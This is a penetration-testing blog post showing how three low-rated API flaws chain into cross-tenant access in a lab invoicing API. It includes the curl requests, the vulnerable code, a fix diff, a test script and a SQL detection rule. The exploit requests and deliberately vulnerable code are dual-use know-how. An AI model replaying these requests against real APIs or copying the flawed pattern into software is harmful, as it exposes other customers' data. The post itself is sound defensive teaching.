Skip to content
All posts

Penetration Testing

Three "Low" API Findings That Added Up to a Critical

Sequential IDs, a legacy API version and an unchecked field: each Low alone. Chained in our lab, they gave any trial user another tenant's data.

MAMuaaz AhmadPenetration Tester

· 11 min read

On this page

Most API test reports have a long tail of "Low" findings. Predictable IDs. An old API version still answering. A field the server accepts but appears to ignore. Each one gets a line in the report, a shrug in the triage meeting, and a ticket nobody picks up.

When we test APIs, that tail is where we spend a surprising share of our time. Low findings are rated one at a time, but an attacker uses them together. This post walks through a chain of three Lows that together give any self-service sign-up read and write access to another customer's data. We built the scenario as a small multi-tenant invoicing API in our lab, so every request, response and log line below is real output from that lab. It is a scenario typical of what we see in engagements, not a specific client. We also show the root cause in code, the fix, a check we run on every multi-tenant API, and a detection we tested against a day of generated traffic.

Why Low findings hide critical chains

Severity scoring rates a finding against the system as the tester understood it at the time. CVSS asks what one vulnerability allows on its own. That is the right question for a single bug and the wrong one for a chain. The OWASP API Security Top 10 makes the same point indirectly: Broken Object Level Authorization (API1), Broken Object Property Level Authorization (API3) and Improper Inventory Management (API9) are separate categories, but in real APIs they feed each other.

The question we ask on every multi-tenant API is simple: where does the server get the tenant ID it uses to filter data, and who can write to that place? Every finding below is a partial answer to that question.

The lab: a small invoicing API with two versions

Our lab API mirrors a pattern we meet often. A SaaS product has a current API (/api/v2) used by the web app, and a legacy API (/api/v1) still routed because an older mobile app release depends on it. Users can belong to more than one organisation. Their "current" organisation is stored on the user record as default_org_id.

The web app changes it through a dedicated endpoint that checks membership:

# v2: the validated way to change your current organisation
if self.path == "/api/v2/me/switch-org":
    b = self.body()
    if not self.is_member(u["id"], b.get("org_id")):
        return self.send(403, {"error": "not a member"}, u["id"], list(b))
    db.execute("UPDATE users SET default_org_id=? WHERE id=?", (b["org_id"], u["id"]))

The old mobile app has a "default workspace" picker. It writes the same field through the legacy profile endpoint, which has an allow-list but no membership check:

# v1: legacy profile update, written when default_org_id was only a UI preference
elif self.path == "/api/v1/me":
    allowed = {"display_name", "timezone", "default_org_id"}
...
for k in allowed & b.keys():
    db.execute(f"UPDATE users SET {k}=? WHERE id=?", (b[k], u["id"]))

And the v2 data routes scope every query with the stored value:

# v2: every data route trusts the stored preference as the tenant boundary
if self.path == "/api/v2/invoices":
    org = u["default_org_id"]
    rows = db.execute("SELECT ... FROM invoices WHERE org_id=?", (org,)).fetchall()

Read those three snippets separately and none of them looks alarming. The v2 switch is properly checked. The v1 update has an allow-list, which is what most mass-assignment guidance asks for. The v2 read filters by organisation. The bug only exists in the space between them.

Root cause: an invariant enforced on one write path only

The real defect is a broken invariant. The v2 code assumes that default_org_id always holds an organisation the user belongs to, and turns that assumption into an authorisation decision. The invariant is enforced where the field is written in v2 and nowhere else.

This is how it usually happens in practice. default_org_id started life in v1 as a harmless UI preference: which workspace to open first. Years later, v2 reused the stored value as the request's tenant scope because it was convenient. That turned a preference into a security boundary. Nobody revisited the old code that could still write it.

CWE-915 (improperly controlled modification of object attributes) describes the v1 half. CWE-639 (authorisation bypass through a user-controlled key) describes the v2 half. Most reports would list only one of them, if either.

The chain, step by step

All of this runs as an ordinary self-service trial user. In our lab, organisation 1042 ("Larkspur Retail", invented) is the tenant we should never be able to see. In engagements we prove cross-tenant access between two tenants we create ourselves. The lab simply has the victim tenant seeded with data so the impact is visible.

Low 1: tenant IDs are sequential

Two trial sign-ups a moment apart return consecutive organisation IDs.

tester@futaqsec: ~/lab
$ curl -s -X POST $API/api/v2/signup -H "Content-Type: application/json" -d '{"org_name":"Tester Trial A","email":"[email protected]"}'
{ "user_id": 8, "org_id": 1043, "token": "tok_user8" }
$ curl -s -X POST $API/api/v2/signup -H "Content-Type: application/json" -d '{"org_name":"Tester Trial B","email":"[email protected]"}'
{ "user_id": 9, "org_id": 1044, "token": "tok_user9" }
# 1043 then 1044: every existing tenant sits below 1043
Responses from our lab API, JSON compacted for width. API=http://api.example.com:8080

On its own this is a Low or Informational finding. v2 does not let you read another tenant by ID, so predictable IDs only reveal roughly how many customers the product has. In a chain, it means we never need to guess or steal a target identifier. Every tenant ID is a number between 1 and 1043.

Detection and fix for this step: sequential IDs are hard to alert on, so do not rely on hiding them. Use random identifiers (UUIDs) for tenants as defence in depth. The real fix is further down the chain.

Reading v2: which field decides the tenant

This step is not a finding. It tells us where to look. Next we try to write the scoping field through the current API. v2 has a strict allow-list, so default_org_id is dropped. It is dropped silently, though:

tester@futaqsec: ~/lab
$ curl -si -X PATCH $API/api/v2/me -H "Authorization: Bearer $TOKEN_A" -H "Content-Type: application/json" -d '{"display_name":"tester","default_org_id":1042}'
HTTP/1.0 200 OK
Content-Type: application/json
{ "display_name": "tester", "updated": true }
$ curl -s -X POST $API/api/v2/me/switch-org -H "Authorization: Bearer $TOKEN_A" -H "Content-Type: application/json" -d '{"org_id":1042}'
{ "error": "not a member" }
v2 applies display_name, silently drops default_org_id and returns 200. Some headers trimmed.

Some reports would add "the API accepts unexpected properties without an error" as one more Low. For us it does two things. GET /api/v2/me has already told us the property name (default_org_id) and that it lives on the user object. The quiet 200 tells us the framework binds request bodies broadly and filters afterwards. Somewhere, a route with a looser filter is worth looking for. The switch-org 403 confirms that default_org_id matters for access. If it did not, nobody would have put a membership check in front of it.

Hardening for this step: reject unknown properties with a 400 rather than ignoring them. The OWASP Mass Assignment Cheat Sheet recommends explicit allow-lists. Making violations loud turns probing like ours into log events you can alert on.

Low 2 and Low 3: the legacy API is still routed, and stores the field unchecked

Changing v2 to v1 in the path answers with the same user object:

tester@futaqsec: ~/lab
$ curl -si -H "Authorization: Bearer $TOKEN_A" $API/api/v1/me
HTTP/1.0 200 OK
Content-Type: application/json
{ "id": 8, "email": "[email protected]", "display_name": "tester",
"timezone": "UTC", "default_org_id": 1043 }
$ curl -s -X PATCH $API/api/v1/me -H "Authorization: Bearer $TOKEN_A" -H "Content-Type: application/json" -d '{"default_org_id":1042}'
{ "default_org_id": 1042, "updated": true }
The legacy route is live and serves the same account. Some headers trimmed.

These are the other two Lows, as they would normally be written up. "Deprecated API version still reachable" is a textbook API9 inventory finding. "v1 profile update accepts default_org_id values the user is not a member of" looks like it has no effect if you stay inside v1: v1 echoes the value back and does nothing else with it. A tester working through v1 in isolation would note it and move on.

The join: v2 now serves another tenant

Back on v2, nothing about our session has changed except the stored field.

tester@futaqsec: ~/lab
$ curl -s -H "Authorization: Bearer $TOKEN_A" $API/api/v2/invoices
{
"org_id": 1042,
"invoices": [
{ "id": 55101, "number": "LR-2026-0311", "amount": 184500.0,
"customer_email": "[email protected]", "status": "open" },
{ "id": 55102, "number": "LR-2026-0312", "amount": 92250.0,
"customer_email": "[email protected]", "status": "open" }
]
}
$ curl -s -X PATCH $API/api/v2/invoices/55102 -H "Authorization: Bearer $TOKEN_A" -H "Content-Type: application/json" -d '{"status":"void"}'
{ "id": 55102, "status": "void" }
[!] CRITICAL: trial user reads and modifies another tenant's invoices
Cross-tenant read and write from a trial account. Invented lab data, JSON compacted.

Scoring the chain, not the parts

Scored on its own, the cross-tenant access is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N, which is 8.1 (High) under CVSS v3.1. We score Privileges Required as None, not Low, because anyone on the internet can create a trial account in seconds. A privilege anyone can get for free is not a barrier. That gives PR:N and 9.1 (Critical). Low 1 matters to the impact as well: because IDs are sequential, the attacker can walk every tenant, not just one they happened to learn about.

Root cause fix

The fix is not "remove default_org_id from the v1 allow-list". That closes this path and leaves the design that produced it. Fix the invariant where it is relied on, then close the write path as well.

 if self.path == "/api/v2/invoices":
     org = u["default_org_id"]
+    # Re-check membership at the point of use; a stored preference is not an authorisation.
+    if not self.is_member(u["id"], org):
+        return self.send(403, {"error": "not a member of current org"}, u["id"], None, org)
     rows = db.execute("SELECT ... FROM invoices WHERE org_id=?", (org,)).fetchall()
 elif self.path == "/api/v1/me":
     allowed = {"display_name", "timezone", "default_org_id"}
+    if "default_org_id" in b and not self.is_member(u["id"], b["default_org_id"]):
+        return self.send(403, {"error": "not a member"}, u["id"], list(b))

In a real codebase, the first change belongs in one place: middleware or a data-access layer that resolves the tenant for every request and refuses to run a query without one. The OWASP Multi-Tenant Security Cheat Sheet describes the same principle: resolve and verify tenant context centrally, never per route. Database row-level security, where your database supports it, is a strong second layer.

Testing for it: one check, every write path

The chain was only visible because we asked one question across versions: can a user write anything that later decides their tenant? We turned that into a short check that runs against two tenants we own. It tries every known write path to the scoping field, then asks a v2 data route which tenant it now serves.

WRITES = [("PATCH", "/api/v2/me", "default_org_id"), ("POST", "/api/v2/me/switch-org", "org_id"),
          ("PATCH", "/api/v1/me", "default_org_id")]
for method, path, field in WRITES:
    status, _ = call(method, path, a["token"], {field: b["org_id"]})   # point tenant A's user at tenant B
    _, inv = call("GET", "/api/v2/invoices", a["token"])              # which tenant does v2 now serve?
    scope = inv.get("org_id")
    flag = "[!] CRITICAL: A's session now scoped to B" if scope == b["org_id"] else "[+] scope unchanged or refused"
    print(f"{method:5} {path:22} {field}={b['org_id']} -> {status}; v2 scope={scope or inv.get('error')}  {flag}")
    call("POST", "/api/v2/me/switch-org", a["token"], {"org_id": a["org_id"]})   # reset

The interesting design choice is the second request. Checking the write's status code alone is not enough: v2's PATCH /me returns 200 and is safe, while v1's returns 200 and is not. Only reading back the effective scope tells you which. Here is the check against the vulnerable build and then the fixed build:

tester@futaqsec: ~/lab
$ python3 tenant_check.py http://api.example.com:8080 # vulnerable build
tenant A = org 1045 (user 10), tenant B = org 1046 (user 11)
PATCH /api/v2/me default_org_id=1046 -> 200; v2 scope=1045 [+] scope unchanged or refused
POST /api/v2/me/switch-org org_id=1046 -> 403; v2 scope=1045 [+] scope unchanged or refused
PATCH /api/v1/me default_org_id=1046 -> 200; v2 scope=1046 [!] CRITICAL: A's session now scoped to B
$ python3 tenant_check.py http://api.example.com:8081 # fixed build
tenant A = org 1043 (user 8), tenant B = org 1044 (user 9)
PATCH /api/v2/me default_org_id=1044 -> 200; v2 scope=1043 [+] scope unchanged or refused
POST /api/v2/me/switch-org org_id=1044 -> 403; v2 scope=1043 [+] scope unchanged or refused
PATCH /api/v1/me default_org_id=1044 -> 403; v2 scope=1043 [+] scope unchanged or refused
Same check, before and after the fix. Both tenants are ours.

The hard part in a real test is building the WRITES list. We assemble it from the OpenAPI specification, the routes the mobile and web clients actually call, old versions found by changing the version segment, and any batch or import endpoint that sets user fields indirectly. That inventory work is what turns three Lows into one Critical. It is a large part of why a penetration test differs from a scan, as we described in what a good penetration test actually delivers.

Detecting it: from noisy to precise

Detection comes after the fact, so it is the second line here, not the first. It still matters: it tells you whether this was used before you fixed it. We generated a day of benign traffic for 300 users with a script: 6,543 events, 60 users with two organisations, a third of users on the legacy mobile app. We then added the access log from our own attack run. Our lab API logs one JSON line per request, including the resolved tenant (org_scope) on data routes. We wrote the rule three times as SQL and ran it in SQLite against both sets. Your API gateway or SIEM will use a different query language, but the logic carries over directly.

Version 1: any write to the legacy API. Fired 260 times on benign traffic. The old mobile app updates display names and time zones through v1 all day.

Version 2: v1 profile writes that touch default_org_id. Fired 22 times on benign traffic. Multi-organisation users on the old app legitimately change their default workspace through exactly this call. And because we log body keys, not values, the rule cannot tell a legitimate switch from a malicious one.

Version 3: a data request served for a tenant the caller does not belong to. Join the access log to the membership table. This is the invariant itself, so it does not care which write path broke it.

SELECT l.user_id, l.ts, l.method, l.path, l.org_scope
FROM logs l
WHERE l.org_scope IS NOT NULL AND l.status = 200
  AND NOT EXISTS (SELECT 1 FROM members m
                  WHERE m.user_id = l.user_id AND m.org_id = l.org_scope)
tester@futaqsec: ~/lab
$ python3 detect.py v1 v2 v3
rule v1
benign.jsonl 260 alert(s)
access.jsonl 1 alert(s)
rule v2
benign.jsonl 22 alert(s)
access.jsonl 1 alert(s)
rule v3
benign.jsonl 0 alert(s)
access.jsonl 2 alert(s)
[!] HIGH (8, '2026-11-13T04:08:05Z', 'GET', '/api/v2/invoices', 1042)
[!] HIGH (8, '2026-11-13T04:08:05Z', 'PATCH', '/api/v2/invoices/55102', 1042)
All three rule versions, benign day vs attack run.

Version 3 caught both the cross-tenant read and the write and raised nothing on the benign day. It depends on one logging decision most APIs have not made: record the tenant each request was actually served for, not just the user. If your logs only hold user ID and path, add that field before anything else in this section. Note one limit: in our test, the membership table was a snapshot. In production, join against membership as it was at the time of the request, or a user removed from an organisation yesterday will look like an attacker today.

Remediation checklist

  • The tenant for every request is resolved and membership-checked in one central layer, not read from a stored preference.
  • Every field that feeds an authorisation decision has a list of every code path that can write it, across all API versions, imports and admin tools.
  • Legacy API versions are inventoried, monitored and have a retirement date; until then they get the same authorisation checks as current ones.
  • Unknown request properties are rejected with a 400, not silently dropped.
  • Tenant and other high-value identifiers are random, as defence in depth.
  • Access logs record the resolved tenant, and an alert fires when a request is served for a tenant the caller does not belong to.

When we write up a test, we do not leave Lows to be closed one at a time. We group them by the question they partially answer (here, "who decides the tenant?") and ask whether the group adds up to more than its parts. For more fundamentals behind this, see the security basics that stop most real-world attacks.

Tooling and references

  • API Security
  • Business Logic
  • Attack Chains
  • OWASP API Top 10
MA

Written by

Muaaz Ahmad

Penetration Tester, FutaqSec

Keep reading

Penetration Testing7 min read

What a Good Penetration Test Actually Delivers

Scope, methodology, evidence and a retest: how to tell a real penetration test from a rebranded vulnerability scan before you sign the contract.

Muaaz Ahmad

Not sure where to start?

A 30-minute scoping call is enough to understand your environment and recommend the right first step. No obligation.

Book a free consultation